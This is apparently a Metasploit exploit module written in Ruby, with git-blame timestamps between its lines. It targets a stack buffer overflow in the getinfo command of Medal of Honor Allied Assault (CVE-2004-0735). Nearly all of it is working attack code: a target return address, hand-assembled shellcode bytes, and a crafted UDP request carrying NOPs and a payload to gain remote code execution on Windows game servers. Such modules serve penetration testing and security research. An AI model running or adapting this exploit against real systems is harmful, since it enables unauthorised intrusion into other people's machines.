2009-12-15 18:47:29 +00:00
|
|
|
##
|
2014-10-17 16:47:33 +00:00
|
|
|
# This module requires Metasploit: http://metasploit.com/download
|
2013-10-15 18:50:46 +00:00
|
|
|
# Current source: https://github.com/rapid7/metasploit-framework
|
2009-12-15 18:47:29 +00:00
|
|
|
##
|
|
|
|
|
|
|
|
require 'msf/core'
|
|
|
|
|
|
|
|
class Metasploit3 < Msf::Exploit::Remote
|
2013-08-30 21:28:54 +00:00
|
|
|
Rank = GreatRanking
|
2009-12-15 18:47:29 +00:00
|
|
|
|
2013-08-30 21:28:54 +00:00
|
|
|
include Msf::Exploit::Remote::Udp
|
2009-12-15 18:47:29 +00:00
|
|
|
|
2013-08-30 21:28:54 +00:00
|
|
|
def initialize(info = {})
|
|
|
|
super(update_info(info,
|
2013-11-15 06:03:42 +00:00
|
|
|
'Name' => 'Medal of Honor Allied Assault getinfo Stack Buffer Overflow',
|
2013-08-30 21:28:54 +00:00
|
|
|
'Description' => %q{
|
|
|
|
This module exploits a stack based buffer overflow in the getinfo
|
|
|
|
command of Medal Of Honor Allied Assault.
|
|
|
|
},
|
|
|
|
'Author' => [ 'Jacopo Cervini' ],
|
|
|
|
'License' => BSD_LICENSE,
|
|
|
|
'References' =>
|
|
|
|
[
|
|
|
|
[ 'CVE', '2004-0735'],
|
|
|
|
[ 'OSVDB', '8061' ],
|
|
|
|
[ 'EDB', '357'],
|
|
|
|
[ 'BID', '10743'],
|
|
|
|
],
|
|
|
|
'Privileged' => false,
|
|
|
|
'Payload' =>
|
|
|
|
{
|
|
|
|
'Space' => 512,
|
|
|
|
'BadChars' => "\x00",
|
|
|
|
},
|
|
|
|
'Platform' => 'win',
|
|
|
|
'Targets' =>
|
|
|
|
[
|
|
|
|
['Medal Of Honor Allied Assault v 1.0 Universal', { 'Rets' => [ 111, 0x406957 ] }], # call ebx
|
|
|
|
],
|
|
|
|
'DisclosureDate' => 'Jul 17 2004',
|
|
|
|
'DefaultTarget' => 0))
|
2009-12-15 18:47:29 +00:00
|
|
|
|
2013-08-30 21:28:54 +00:00
|
|
|
register_options(
|
|
|
|
[
|
|
|
|
Opt::RPORT(12203)
|
|
|
|
], self.class)
|
|
|
|
end
|
2009-12-15 18:47:29 +00:00
|
|
|
|
2013-08-30 21:28:54 +00:00
|
|
|
def exploit
|
|
|
|
connect_udp
|
2009-12-15 18:47:29 +00:00
|
|
|
|
2013-08-30 21:28:54 +00:00
|
|
|
# We should convert this to metasm - Patrick
|
|
|
|
buf = 'B' * target['Rets'][0]
|
|
|
|
buf << "\x68\x76\x76\x76\x76"*9 # PUSH 76767676 x 9
|
|
|
|
buf << "\x68\x7f\x7f\x7f\x7f" # PUSH 7F7F7F7F
|
|
|
|
buf << "\x57" # PUSH EDI
|
|
|
|
buf << "\x58" # POP EAX
|
|
|
|
buf << "\x32\x64\x24\x24" # XOR AH,BYTE PTR SS:[ESP+24]
|
|
|
|
buf << "\x32\x24\x24" # XOR AH,BYTE PTR SS:[ESP]
|
|
|
|
buf << "\x48"*150 # DEC EAX x 150
|
|
|
|
buf << "\x50\x50" # PUSH EAX x 2
|
|
|
|
buf << "\x53" # PUSH EBX
|
|
|
|
buf << "\x58" # POP EAX
|
|
|
|
buf << "\x51" # PUSH ECX
|
|
|
|
buf << "\x32\x24\x24" # XOR AH,BYTE PTR SS:[ESP]
|
|
|
|
buf << "\x6a\x7f" # PUSH 7F
|
|
|
|
buf << "\x5e" # POP ESI
|
|
|
|
buf << "\x46"*37 # INC ESI
|
|
|
|
buf << "\x56"*10 # PUSH ESI
|
|
|
|
buf << "\x32\x44\x24\x24" # XOR AL,BYTE PTR SS:[ESP+24]
|
|
|
|
buf << "\x49\x49" # DEC ECX
|
|
|
|
buf << "\x31\x48\x34" # XOR DWORD PTR DS:[EAX+34],ECX
|
|
|
|
buf << "\x58"*11 # POP EAX
|
|
|
|
buf << "\x42"*66
|
|
|
|
buf << "\x3c"*4
|
|
|
|
buf << "\x42"*48
|
|
|
|
buf << [ target['Rets'][1] ].pack('V')
|
2009-12-15 18:47:29 +00:00
|
|
|
|
2013-08-30 21:28:54 +00:00
|
|
|
req = "\xff\xff\xff\xff\x02" + "getinfo " + buf
|
|
|
|
req << "\r\n\r\n" + make_nops(32) + payload.encoded
|
2009-12-15 18:47:29 +00:00
|
|
|
|
2013-08-30 21:28:54 +00:00
|
|
|
udp_sock.put(req)
|
2009-12-15 18:47:29 +00:00
|
|
|
|
2013-08-30 21:28:54 +00:00
|
|
|
handler
|
|
|
|
disconnect_udp
|
|
|
|
end
|
2009-12-15 18:47:29 +00:00
|
|
|
|
|
|
|
end
|